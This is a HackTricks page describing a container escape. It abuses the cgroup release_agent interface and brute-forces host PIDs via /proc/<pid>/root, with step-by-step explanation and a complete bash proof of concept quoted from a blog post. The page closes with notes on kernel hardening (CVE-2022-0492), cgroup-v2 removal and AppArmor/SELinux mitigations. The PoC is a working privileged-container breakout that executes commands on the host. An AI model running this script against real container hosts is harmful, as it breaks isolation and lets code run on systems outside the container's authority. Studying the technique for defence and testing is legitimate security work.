Release Agent Exploit: Relative Paths to PIDs

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

For further details check the blog post from https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. This is just a summary:

The technique outlines a method for executing host code from within a container, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific devicemapper settings.

Key steps:

  1. Locating Process IDs (PIDs): Using the /proc/<pid>/root symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
  2. PID Bashing: A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at /proc/<pid>/root/<file>. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
  3. Triggering Execution: The guessed PID path is written to the cgroups release_agent file. This action triggers the execution of the release_agent. The success of this step is confirmed by checking for the creation of an output file.

Exploitation Process

The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:

  1. Initialize Environment: A payload script (payload.sh) is prepared on the host, and a unique directory is created for cgroup manipulation.
  2. Prepare Payload: The payload script, which contains the commands to be executed on the host, is written and made executable.
  3. Set Up Cgroup: The cgroup is mounted and configured. The notify_on_release flag is set to ensure that the payload executes when the cgroup is released.
  4. Brute Force PID: A loop iterates through potential PIDs, writing each guessed PID to the release_agent file. This effectively sets the payload script as the release_agent.
  5. Trigger and Check Execution: For each PID, the cgroup's cgroup.procs is written to, triggering the execution of the release_agent if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.

PoC from the blog post:

bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Kernel hardening since 2022 (CVE-2022-0492)

From Linux 5.10.93/5.15.17/5.16.2 onward the kernel requires CAP_SYS_ADMIN in the initial user-namespace to write release_agent. A privileged container still has that capability, so this relative-path variant remains exploitable. Unprivileged containers on patched kernels, however, will not bypass the new check.

Limitations on modern hosts (2025)

  • cgroup-v2 (the default in Fedora 40, Ubuntu 24.10 and most systemd-256+ distros) removed the whole release_agent interface – the technique simply does not exist there.
  • On hybrid systems (cgroup_no_v1="memory" etc.) the memory controller may reside in v1 while others are in v2; if the memory hierarchy is v2 the exploit must mount some other v1 controller (e.g. rdma) to work.
  • Mandatory Access Control profiles (AppArmor/SELinux) that disallow mount or make /sys/fs/cgroup/**/release_agent read-only will block the attack even in privileged containers.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks